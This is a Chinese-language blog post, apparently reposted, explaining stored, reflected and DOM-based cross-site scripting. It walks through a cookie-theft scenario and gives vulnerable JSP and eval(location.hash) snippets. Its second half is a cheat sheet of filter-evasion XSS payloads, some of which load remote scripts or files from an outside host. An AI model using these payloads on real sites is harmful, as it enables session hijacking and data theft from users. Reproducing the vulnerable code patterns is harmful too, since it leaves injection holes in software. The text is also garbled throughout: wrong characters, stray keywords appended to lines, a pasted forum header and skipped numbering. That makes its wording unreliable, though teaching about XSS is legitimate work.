XSS Overview

什麼是XSS?javascript

跨站腳本攻擊(Cross Site Scripting):攻擊者往Web頁面裏插入惡意腳本,當用戶瀏覽該頁面時,嵌入頁面的腳本代碼會被執行,從而達到惡意攻擊用戶的特殊目的。惡意的內容一般須要以一段JavaScript的形式發送到瀏覽器,但也可能包括HTML、Flash,或任何其餘類型的瀏覽器能夠執行的代碼php

XSS的危害一般包括傳輸私有數據,像cookie或session信息;重定向受害者看到的內容;或在用戶的機器上進行惡意操做。css

XSS攻擊發生的緣由:html

  1. 數據經過一個未信任的來源進入Web應用中,最多見的是一個web請求
  2. 數據中包含動態文本,而後發送給用戶,可是沒有校驗惡意的文本,如velocity渲染頁面

下面博文中有部分是從其餘博客中摘取,有部分是從OWASP中翻譯,最後整合在一塊兒造成這篇博客,若是以爲還不錯,就關注我吧。java

XSS 的類型

Stored XSS(存儲型XSS)

把用戶輸入的數據(好比惡意的js代碼)存儲在服務器端,具備很強的穩定性,危害時間長,每次用戶讀取這段數據時都會執行一次,因此受害者是不少人。web

最典型的攻擊場景就是留言板。數據庫

其攻擊過程以下:瀏覽器

  • Bob擁有一個Web站點,該站點容許用戶發佈信息/瀏覽已發佈的信息。
  • Charly注意到Bob的站點具備存儲型XXS漏洞。
  • Charly發佈一個包含XSS攻擊腳本的熱點信息,並吸引其它用戶紛紛閱讀。
  • Bob或者是任何的其餘人如Alice瀏覽該信息,其會話cookies或者其它信息將被Charly盜走。

Reflected XSS(反射型XSS)

反射攻擊是經過另外一種方式攻擊受害者,好比在一封電子郵件。當用戶點擊了一個惡意連接,將會提交一個特殊的表單,或者僅僅只是瀏覽惡意網站,注入的代碼將反射到攻擊用戶的瀏覽器安全

最典型的攻擊場景就是給個惡意連接讓你去點。服務器

其攻擊過程以下:

  • Alice常常瀏覽某個網站,此網站爲Bob所擁有。Bob的站點運行Alice使用用戶名/密碼進行登陸,並存儲敏感信息(好比銀行賬戶信息)。
  • Charly發現Bob的站點包含反射性的XSS漏洞。
  • Charly編寫一個利用漏洞的URL,並將其冒充爲來自Bob的郵件發送給Alice。
  • Alice在登陸到Bob的站點後,瀏覽Charly提供的URL。

嵌入到URL中的惡意腳本在Alice的瀏覽器中執行,就像它直接來自Bob的服務器同樣。此腳本盜竊敏感信息(受權、信用卡、賬號信息等)而後在Alice徹底不知情的狀況下將這些信息發送到Charly的Web站點。

DOM Based XSS

這種不是按照存儲在哪裏來劃分的,能夠說是反射型的一種,因爲歷史緣由,歸爲一類,經過改變DOM結構造成的XSS稱之爲DOM Based。

Example

eg.1 Reflected XSS

<% String eid = request.getParameter("eid"); %> 
    ...
    Employee ID: <%= eid %>

jsp頁面中,咱們可能會像上面那樣寫。

最初這彷佛不可能出現的漏洞,由於攻擊者不可能用來輸入一段而已的代碼而後攻擊本身的電腦,致使惡意代碼運行在本身的電腦。但真正的危險是,攻擊者將建立惡意URL,而後使用電子郵件或社會工程學技巧來吸引受害者訪問的URL連接。受害者點擊連接時,無心中反映了惡意的內容經過脆弱的web應用程序回本身的電腦。這個機制稱爲反射型XSS攻擊

當我登陸a.com後,我發現它的頁面某些內容是根據url中的一個叫eid的參數直接顯示的。 我知道了Tom也註冊了該網站,而且知道了他的郵箱(或者其它能接收信息的聯繫方式),我作一個超連接發給他,超連接地址爲:http://www.a.com?eid=,當Tom點擊這個連接的時候(假設他已經登陸a.com),瀏覽器就會直接打開b.com,而且把Tom在a.com中的cookie信息發送到b.com,b.com是我搭建的網站,當個人網站接收到該信息時,我就盜取了Tom在a.com的cookie信息,cookie信息中可能存有登陸密碼,攻擊成功!這個過程當中,受害者只有Tom本身。

eg.2 Stored XSS

<%... 
 Statement stmt = conn.createStatement();
 ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
 if (rs != null) {
  rs.next(); 
  String name = rs.getString("name");
%>

Employee Name: <%= name %>

這段代碼功能是顯示名字,但這並無阻止被利用。這段代碼相對上一種而言危險更小,由於名字是讀取數據庫的值。然而,若是名字來源於用戶提供的輸入,那麼數據庫能夠爲惡意內容的一個渠道。沒有適當的輸入驗證數據就存儲在數據庫中,攻擊者能夠在用戶的web瀏覽器中執行惡意命令,也就是存儲型XSS攻擊

a.com能夠發文章,我登陸後在a.com中發佈了一篇文章,文章中包含了惡意代碼,,保存文章。這時Tom和Jack看到了我發佈的文章,當在查看個人文章時就都中招了,他們的cookie信息都發送到了個人服務器上,攻擊成功

eg.3 DOM Based XSS

http://www.a.com/xss/domxss.html頁面中代碼以下:

<script>
eval(location.hash.substr(1));
</script>

觸發方式爲:http://www.a.com/xss/domxss.html#alert(1)

網站是否會遭受XSS攻擊?

XSS漏洞很難被識別或從一個web應用程序刪除。發現缺陷的最好方法是進行代碼的安全審查和搜索全部從HTTP請求輸入且有可能使其輸出到頁面的代碼,並對這些代碼進行相應的處理。

注意,可使用各類不一樣的HTML標記傳輸惡意JavaScript。Nessus Nikto,和其餘一些可用的工具能夠幫助掃描一個網站的這些缺陷,但卻只是完成表面功夫。若是一個網站的某一部分是脆弱的,那麼極有可能還有其餘問題。

防護XSS的具體措施

將在下一篇博客中寫出

XSS攻擊方式清單

下面的清單是網上比較流行的攻擊方案, 我摘取了部分。
咱們從中能夠看到多種多樣的攻擊方式,所以要防護XSS攻擊須要考慮不少種狀況。

(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG標籤XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG標籤無分號無引號
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG標籤大小寫不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML編碼(必須有分號)
<IMG SRC=javascript:alert(「XSS」)>
(11)嵌入式標籤,將Javascript分開
<IMG SRC=」jav ascript:alert(‘XSS’);」>
(12)嵌入式編碼標籤,將Javascript分開
<IMG SRC=」jav ascript:alert(‘XSS’);」>
(13)嵌入式換行符
<IMG SRC=」jav ascript:alert(‘XSS’);」>
(14)嵌入式回車
<IMG SRC=」jav ascript:alert(‘XSS’);」>
(15)嵌入式多行注入JavaScript,這是XSS極端的例子
<IMG SRC=」javascript:alert(‘XSS‘)」>
(23)雙開括號
<<SCRIPT>alert(「XSS」);//<</SCRIPT>
(24)無結束腳本標記(僅火狐等瀏覽器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(26)半開的HTML/JavaScript XSS
<IMG SRC=」javascript:alert(‘XSS’)」
(27)雙開角括號
<iframe src=http://3w.org/XSS.html <
(28)無單引號 雙引號 分號
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)換碼過濾的JavaScript
\」;alert(‘XSS’);//
(37)STYLE sheet
<LINK REL=」stylesheet」 HREF=」javascript:alert(‘XSS’);」>
(38)遠程樣式表
<LINK REL=」stylesheet」 HREF=」http://3w.org/xss.css」>
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(「javascript:alert(‘XSS’)」);}</STYLE><UL><LI>XSS
(41)META連接url
<META HTTP-EQUIV=」refresh」 CONTENT=」0;
URL=http://;URL=javascript:alert(‘XSS’);」>
(42)Iframe
<IFRAME SRC=」javascript:alert(‘XSS’);」></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=」javascript:alert(‘XSS’);」></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND=」javascript:alert(‘XSS’)」>
(45)TD
<TABLE><TD BACKGROUND=」javascript:alert(‘XSS’)」>
(46)DIV background-image
<DIV STYLE=」background-image: url(javascript:alert(‘XSS’))」>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(「javascript:alert(‘XSS’)」);}</STYLE><A
CLASS=XSS></A>
(53)STYLE background
<STYLE><STYLE
type=」text/css」>BODY{background:url(「javascript:alert(‘XSS’)」)}</STYLE>
(54)BASE
<BASE HREF=」javascript:alert(‘XSS’);//」>
(55)EMBED標籤,你能夠嵌入FLASH,其中包涵XSS
<EMBED SRC=」http://3w.org/XSS/xss.swf」 ></EMBED>
(56)在flash中使用ActionScrpt能夠混進你XSS的代碼
a=」get」;
b=」URL(\」";
c=」javascript:」;
d=」alert(‘XSS’);\」)」;
eval_r(a+b+c+d);
(58)若是過濾了你的JS你能夠在圖片裏添加JS代碼來利用
<SCRIPT SRC=」」></SCRIPT>
(59)IMG嵌入式命令,可執行任意命令
<IMG SRC=」http://www.XXX.com/a.php?a=b」>

  

轉載註明出處:http://blog.bensonlin.me/post/xss-overview 或 http://www.cnblogs.com/lzb1096101803/p/5770087.html

相關文章
相關標籤/搜索